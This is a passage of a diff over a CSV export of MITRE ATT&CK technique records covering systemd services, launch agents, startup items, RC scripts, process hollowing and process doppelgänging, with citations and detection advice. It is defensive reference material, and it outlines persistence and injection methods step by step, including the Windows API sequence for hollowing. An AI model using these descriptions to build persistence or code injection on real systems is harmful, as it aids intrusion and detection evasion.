url='https://www.freedesktop.org/wiki/Software/systemd/'), ExternalReference(source_name='Anomali Rocke March 2019', description='Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.', url='https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang'), ExternalReference(source_name='Rapid7 Service Persistence 22JUNE2016', description='Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.', url='https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence')]",attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-10-09 13:46:29.701000+00:00,Systemd Service,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Tony Lambert, Red Canary']","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution', 'Service: Service Creation', 'Service: Service Modification']",,,,,"Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user. +While adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1543/002', 'external_id': 'T1543.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/550.html', 'external_id': 'CAPEC-550'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/551.html', 'external_id': 'CAPEC-551'}, {'source_name': 'Linux man-pages: systemd January 2014', 'description': 'Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.', 'url': 'http://man7.org/linux/man-pages/man1/systemd.1.html'}, {'source_name': 'Freedesktop.org Linux systemd 29SEP2018', 'description': 'Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019.', 'url': 'https://www.freedesktop.org/wiki/Software/systemd/'}, {'source_name': 'Anomali Rocke March 2019', 'description': 'Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.', 'url': 'https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang'}, {'source_name': 'Rapid7 Service Persistence 22JUNE2016', 'description': 'Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.', 'url': 'https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Tony Lambert, Red Canary']","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution', 'Service: Service Creation', 'Service: Service Modification']",,"Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user. Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -–type=service –all. Analyze the contents of .service files present on the file system and ensure that they refer to legitimate, expected executables. -Auditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service may reveal malicious systemd service execution.",,,,,True,,,"['User', 'root']",['Linux'],,,,1.2 -2020-01-17 16:10:58.592000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware). +Auditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service may reveal malicious systemd service execution.",True,"['User', 'root']",['Linux'],1.2,,,,,,, +attack-pattern,attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-17T16:10:58.592Z,2021-11-03T20:11:51.687Z,Launch Agent,"Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks. + + Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command. -Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1543/001', external_id='T1543.001'), ExternalReference(source_name='AppleDocs Launch Agent Daemons', description='Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.', url='https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'), ExternalReference(source_name='OSX Keydnap malware', description='Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.', url='https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/'), ExternalReference(source_name='Antiquated Mac Malware', description='Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.', url='https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/'), ExternalReference(source_name='OSX.Dok Malware', description='Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.', url='https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/'), ExternalReference(source_name='Sofacy Komplex Trojan', description=""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", url='https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/'), ExternalReference(source_name='Methods of Mac Malware Persistence', description='Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', url='https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'), ExternalReference(source_name='OSX Malware Detection', description=""Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."", url='https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf'), ExternalReference(source_name='OceanLotus for OS X', description='Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.', url='https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update')]",attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-03-25 22:11:45.513000+00:00,Launch Agent,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'File: File Modification', 'Command: Command Execution', 'Service: Service Creation', 'Service: Service Modification']",,,,,Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.,,,,,True,,,"['Administrator', 'User']",['macOS'],,,,1.0 -2020-01-15 18:00:33.603000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items. (Citation: Startup Items) +Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1543/001', 'external_id': 'T1543.001'}, {'source_name': 'AppleDocs Launch Agent Daemons', 'description': 'Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'}, {'source_name': 'OSX Keydnap malware', 'description': 'Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.', 'url': 'https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/'}, {'source_name': 'Antiquated Mac Malware', 'description': 'Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/'}, {'source_name': 'OSX.Dok Malware', 'description': 'Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/'}, {'source_name': 'Sofacy Komplex Trojan', 'description': ""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", 'url': 'https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/'}, {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}, {'source_name': 'OSX Malware Detection', 'description': ""Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."", 'url': 'https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf'}, {'source_name': 'OceanLotus for OS X', 'description': 'Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.', 'url': 'https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Command: Command Execution', 'Service: Service Creation', 'Service: Service Modification']",,"Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications. + +Ensure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. ",True,"['Administrator', 'User']",['macOS'],1.3,,,,,,, +attack-pattern,attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-15T18:00:33.603Z,2020-03-24T23:47:39.124Z,Startup Items,"Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items. (Citation: Startup Items) This is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. -An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1037/005', external_id='T1037.005'), ExternalReference(source_name='Startup Items', description='Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.', url='https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html'), ExternalReference(source_name='Methods of Mac Malware Persistence', description='Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', url='https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf')]",attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-03-24 23:47:39.124000+00:00,Startup Items,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']",,,,,"The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. +An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1037/005', 'external_id': 'T1037.005'}, {'source_name': 'Startup Items', 'description': 'Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html'}, {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']",,"The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. -Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.",,,,,True,,,['Administrator'],['macOS'],,,,1.0 -2020-01-15 16:25:22.260000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify. +Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.",True,['Administrator'],['macOS'],1.0,,,,,,, +attack-pattern,attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-15T16:25:22.260Z,2021-04-27T19:58:01.927Z,RC Scripts,"Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify. Adversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence. Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware) -Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1037/004', external_id='T1037.004'), ExternalReference(source_name='IranThreats Kittens Dec 2017', description='Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.', url='https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/'), ExternalReference(source_name='Intezer HiddenWasp Map 2019', description='Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.', url='https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/'), ExternalReference(source_name='intezer-kaiji-malware', description='Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.', url='https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/'), ExternalReference(source_name='Apple Developer Doco Archive Launchd', description='Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.', url='https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'), ExternalReference(source_name='Startup Items', description='Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.', url='https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html'), ExternalReference(source_name='Methods of Mac Malware Persistence', description='Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', url='https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'), ExternalReference(source_name='Ubuntu Manpage systemd rc', description='Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021.', url='http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html')]",attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-04-27 19:58:01.927000+00:00,RC Scripts,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']",,,,,"Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior. +Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1037/004', 'external_id': 'T1037.004'}, {'source_name': 'IranThreats Kittens Dec 2017', 'description': 'Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.', 'url': 'https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/'}, {'source_name': 'Intezer HiddenWasp Map 2019', 'description': 'Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.', 'url': 'https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/'}, {'source_name': 'intezer-kaiji-malware', 'description': 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.', 'url': 'https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/'}, {'source_name': 'Apple Developer Doco Archive Launchd', 'description': 'Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'}, {'source_name': 'Startup Items', 'description': 'Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html'}, {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}, {'source_name': 'Ubuntu Manpage systemd rc', 'description': 'Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021.', 'url': 'http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']",,"Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior. -Monitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. ",,,,,True,,,['root'],"['macOS', 'Linux']",,,,2.0 -2020-01-14 17:21:54.470000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. +Monitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. ",True,['root'],"['macOS', 'Linux']",2.0,,,,,,, +attack-pattern,attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T17:21:54.470Z,2021-10-18T12:30:14.640Z,Process Hollowing,"Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017) -This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1055/012', external_id='T1055.012'), ExternalReference(source_name='Leitch Hollowing', description='Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.', url='http://www.autosectools.com/process-hollowing.pdf'), ExternalReference(source_name='Elastic Process Injection July 2017', description='Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', url='https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process')]",attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-11-10 18:29:31.031000+00:00,Process Hollowing,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'Process: Process Access']","['Application control', 'Anti-virus']",,,,"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) +This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/012', 'external_id': 'T1055.012'}, {'source_name': 'Leitch Hollowing', 'description': 'Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.', 'url': 'http://www.autosectools.com/process-hollowing.pdf'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Modification', 'Process: OS API Execution', 'Process: Process Access']","['Application control', 'Anti-virus']","Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",,,,,True,,,['User'],['Windows'],,,,1.0 -2020-01-14 17:19:50.978000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,['User'],['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T17:19:50.978Z,2021-02-09T15:43:48.848Z,Process Doppelgänging,"Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process. Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF) @@ -2376,12 +2603,12 @@ Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Dop * Rollback – Undo changes to original executable, effectively removing malicious code from the file system. * Animate – Create a process from the tainted section of memory and initiate execution. -This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1055/013', external_id='T1055.013'), ExternalReference(source_name='Microsoft TxF', description='Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx'), ExternalReference(source_name='Microsoft Basic TxF Concepts', description='Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx'), ExternalReference(source_name='Microsoft Where to use TxF', description='Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx'), ExternalReference(source_name='BlackHat Process 